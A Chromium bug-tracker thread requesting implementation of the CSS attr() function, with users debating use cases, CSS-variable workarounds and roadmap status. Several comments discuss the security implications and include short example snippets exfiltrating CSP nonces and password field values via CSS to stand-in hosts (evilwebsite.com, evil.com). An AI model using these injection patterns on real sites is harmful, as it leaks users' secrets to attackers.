New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 56 users
Status: Available
Owner: ----
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 3
Type: Feature


Show other hotlists

Hotlists containing this issue:
Top-Starred-Bugs


Sign in to add a comment
Implement CSS3 attribute / attr references
Reported by a.d.herr...@gmail.com, Jun 4 2013 Back to list
UserAgent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1525.0 Safari/537.36

Steps to reproduce the problem:
1. Set a property's value with a attr() value that's actual value is not a string such as a height
2. chrome describes CSS as being invalid

What is the expected behavior?

What went wrong?
It would be great to implement this feature:

http://dev.w3.org/csswg/css-values/#attr

This MDN article gives a good overview of the new features:

https://developer.mozilla.org/en-US/docs/Web/CSS/attr

Did this work before? No 

Chrome version: 29.0.1525.0  Channel: n/a
OS Version: OS X 10.8.3
 
Labels: Cr-Blink Cr-Blink-CSS
Owner: ikilpatrick@chromium.org
Cc: tkonch...@chromium.org ranjitkan@chromium.org
 Issue 251679  has been merged into this issue.
Status: Available
Just hit this too. I *think* according to the specs (http://www.w3.org/TR/css3-values/#attr-notation) this should work and make the pink sqaure 10px from the left: http://codepen.io/benfrain/pen/BybOgL

Instead, as per original post an 'invalid property value' is reported (I'm running Version 41.0.2272.104 (64-bit))
Labels: Hotlist-Recharge
This issue likely requires triage.  The current issue owner maybe inactive (i.e. hasn't fixed an issue in the last 30 days).  Thanks for helping out!

-Anthony
Comment 7 by timloh@chromium.org, Sep 23 2015
Cc: ikilpatrick@chromium.org
Labels: -OS-Mac -Cr-Blink -Hotlist-Recharge OS-All
Owner: ----
Any word on the status of this request?
This is not on our (style-dev's) roadmap for 2016.
*sigh* What a shame.
Comment 12 by acte...@gmail.com, Feb 5 2016
CSS attr can be easily workarounded by CSS variables :)
That is an incorrect assumption. CSS Variables were designed for modularity to be built into the stylesheet, so that the repetition of properties would be less common place and allow for a form of CSS "configuration" within the stylesheet itself. The enhances CSS attr property is designed for the DOM to interact with the style of the page without having to resort to inefficient solutions, such as applying styles inline with JavaScript. Such a solution also allows for wider control of live manipulation of the current stylesheet without disturbing the CSS hierarchy.
@#12

> CSS attr can be easily workarounded by CSS variables :)

No, it cannot.


I would elaborate, but @#13 has already done so in brevity.
Comment 15 by hrg....@gmail.com, Jun 6 2016
@#13 and @#14
Yes, in most cases it can be replaced by css variables, because variables can be assigned to individual html elements. So they are effectively the same thing as an attribute.

We need attr() for pairing with CSS Shapes. Here's an example in the spec:
http://www.w3.org/TR/css-shapes-1/#shapes-from-image

img {shape-outside: attr(src url);} allows authors to use CSS Shapes easily in a CMS context, where the CSS can specify: "please make a shape and use the content image itself as the mask" — and that's all that's needed. 

Otherwise custom inline CSS is needed for each non-regular instance of CSS Shapes inside a CMS. (The system could specify in CSS the same shape, like a circle, for every image. But not if the image shape is different each time.)  

Like this:
<img src="foo.jpg" style="shape-outside: url(foo.jpg); />

This is much harder for authors to implement, given the reality of constrains of most systems. Having attr() will make it possible to use CSS Shapes much more often.
@#15 and @#16
It isn't just CSS shapes, but *any* kind of content or data that can be extracted from the attributes and applied via CSS without destroying the CSS hierarchy.
This feature should be really usefull for data visualization. I.e. making diagrams with less javascript.

I have a list of datapoints with a bunch of properties.
1. I would like to resize displayed items according to some properties;
2. I would like to colorize items according to some properties;
3. I would like to be able to switch easily between properties used for coloring or sizing (to bring out various properties visually).

Css variables are useless in this case, since actual values should be taken from outside of css and cannot be simplified to a reasonable set of predefined styles.
Ok, fugured it out. Sorry for wasting your time.

Here is the demo for a workaround with variables: https://jsfiddle.net/killymxi/92xnbjuw/

I'm still thinking that it's quite dodgy. Properly working attr() feature with data attributes will be more clean and semantic.
Has there been any word if this will be on the 2017 roadmap as it's already been stated that there are no plans for this feature on the 2016 roadmap?
Cc: meade@chromium.org
Comment 22 by meade@chromium.org, Sep 12 2016
hi! We actually haven't set our goals for 2017 yet. I've added this to our backlog to discuss when we do set them.
Thank you for the response, I hope to hear more about this when the
discussion does arise.
Labels: Hotlist-Backlog
Labels: -Pri-2 Pri-3
Comment 26 by r...@opera.com, Dec 2 2016
 Issue 670276  has been merged into this issue.
@#12 @#15: a strict CSP configuration can disable inline styles, making CSS Custom Properties non-viable alternative to universal attr().
Any word yet on getting this into the 2017 roadmap?
What are the security implications of this? Won't this allow someone with CSS injection to exfiltrate data from the page?
Hi chrismr3000,

Sorry, we still haven't completed planning yet. This is definitely on my list of things to consider. I will be sure to post here with our plans once we've made them.
Thanks for the update, and hopefully it does make it into the roadmap!
Comment 32 by evn@google.com, Dec 29 2016
Re comment 29, yes. This would allow someone to exfiltrate HTML attributes like CSP or CSRF nonces with CSS.

Example:
<base href=//evilwebsite.com/stealnonce/>
<script nonce=random></script>
<style>script:after{content: attr(nonce url);}</script>

There are many other ways to do this, however. So it's not clear if this makes much of a difference.
There are other ways, but they rely on Javascript. This adds a new class of vulnerability, which could turn a relatively benign cosmetic issue into subtle information disclosure.

I think it deserves some sort of mitigation if it's to be implemented per the spec.
Comment 34 by hrg....@gmail.com, Dec 30 2016
@#32
Can you do that without the <base> tag?
If not, then that's plain old HTML injection, not CSS injection.
#34, I think that's correct, so with the "attr(... url)" syntax you'd likely only be able to forcibly request a "neutralised" URL like the following:

  <img src="placeholder.gif" src-disabled="//external.tld/photo.jpg"/>

This might in fact be useful for noscript situations.

However, I've realised that you can already leak attribute information in CSS with:

 input[type="password"][value*="a" i] { background: url(//evil.com/a) } 
 input[type="password"][value*="b" i] { background: url(//evil.com/b) } 
 ...

This doesn't require Javascript injection, so leakage from attr() would just be a refinement of this existing attack. There's even a recent write-up of this at http://sirdarckcat.blogspot.co.uk/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html.

So it doesn't appear to be open up a new vector as I thought.
Did this make it on the 2017 priority list?
Comment 37 by cfm...@gmail.com, Feb 4 2017
I have already needed this feature with 2 different use-cases, unfortunatelly I had to work-around it.
Labels: Update-Quarterly
This feature is used in some (currently failing) web platform tests https://cs.chromium.org/search/?q=LayoutTests/external/wpt/css/css-values-3/attr*

 
Project Member Comment 40 by bugdroid1@chromium.org, Aug 30
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/1de4db070869cd5b1450258b94794d9015089e9d

commit 1de4db070869cd5b1450258b94794d9015089e9d
Author: Eric Willigers <ericwilligers@chromium.org>
Date: Wed Aug 30 06:15:30 2017

Enable css-values-3 web platform tests

We now run the css-values-3 web platform tests,
skipping only those known to fail (see bugs).

BUG=246571,421909,759914, 759921 

Change-Id: I85db92c0249aa262e6aaa38afd2c3a53e1ec45cc
Reviewed-on: https://chromium-review.googlesource.com/640032
Commit-Queue: Eric Willigers <ericwilligers@chromium.org>
Reviewed-by: nainar <nainar@chromium.org>
Cr-Commit-Position: refs/heads/master@{#498379}
[modify] https://crrev.com/1de4db070869cd5b1450258b94794d9015089e9d/third_party/WebKit/LayoutTests/NeverFixTests
[add] https://crrev.com/1de4db070869cd5b1450258b94794d9015089e9d/third_party/WebKit/LayoutTests/external/wpt/css/css-values-3/OWNERS

Labels: -Update-Quarterly
Am I correct in believing that there is work on implementing CSS attr() by the existence of Comments 39 and 40?
We're not working on it right now, no.
Is this being considered for the 2018 roadmap then?
Hi chrismr3000, 

Sorry, we have limited resources, and this isn't high on our priority list right now. We are keeping this bug open to make sure it stays on our backlog.
Thanks for the heads up again, guess I'll just have to wait and see if it'll be on the one for 2019 :(
Sign in to add a comment